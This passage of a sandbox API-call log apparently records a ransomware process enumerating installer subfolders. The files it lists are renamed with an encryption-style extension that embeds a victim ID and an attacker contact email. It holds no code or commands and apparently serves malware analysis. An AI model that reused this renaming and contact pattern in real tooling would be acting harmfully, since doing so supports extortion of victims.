	[0178.728] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9868b479, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9868b479, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98939f78, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.728] FindClose (in: hFindFile=0x3cf1028 | out: hFindFile=0x3cf1028) returned 1
	[0178.729] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.729] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1028", cAlternateFileName="")) returned 1
	[0178.729] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.729] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf1028
	[0178.731] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.731] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.731] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9863f075, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9863f075, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9868b479, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.731] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.731] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98533f5d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.731] FindClose (in: hFindFile=0x3cf1028 | out: hFindFile=0x3cf1028) returned 1
	[0178.732] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.732] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1029", cAlternateFileName="")) returned 1
	[0178.732] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.732] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0fa8
	[0178.734] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.734] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98a91503, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.734] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98add7f2, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98add7f2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98f0a5b3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.734] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.734] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984c1825, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984c1825, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9855a239, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.734] FindClose (in: hFindFile=0x3cf0fa8 | out: hFindFile=0x3cf0fa8) returned 1
	[0178.735] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.735] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1030", cAlternateFileName="")) returned 1
	[0178.735] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.735] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0ca8
	[0178.736] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.736] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98960125, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.737] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98913e73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98913e73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989863cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x130b6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.737] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.737] FindNextFileW (in: hFindFile=0x3cf0ca8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984e7ab4, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984e7ab4, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.737] FindClose (in: hFindFile=0x3cf0ca8 | out: hFindFile=0x3cf0ca8) returned 1
	[0178.738] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.738] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1031", cAlternateFileName="")) returned 1
	[0178.738] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.738] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0b68
	[0178.739] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.739] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989863cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989863cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x989d29cb, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.740] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ee37f3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.740] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.740] FindNextFileW (in: hFindFile=0x3cf0b68, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9855a239, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9855a239, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98618e61, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.740] FindClose (in: hFindFile=0x3cf0b68 | out: hFindFile=0x3cf0b68) returned 1
	[0178.741] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.741] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1032", cAlternateFileName="")) returned 1
	[0178.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.741] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0968
	[0178.743] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.743] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x989d29cb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x989d29cb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98c0ebaa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.743] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98a91503, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98a91503, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98b29e07, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.743] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.743] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9858055f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9858055f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x985a669b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.743] FindClose (in: hFindFile=0x3cf0968 | out: hFindFile=0x3cf0968) returned 1
	[0178.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.744] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1033", cAlternateFileName="")) returned 1
	[0178.744] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.744] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0fe8
	[0178.745] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.745] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ee37f3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.746] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ee37f3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ee37f3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fa2446, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
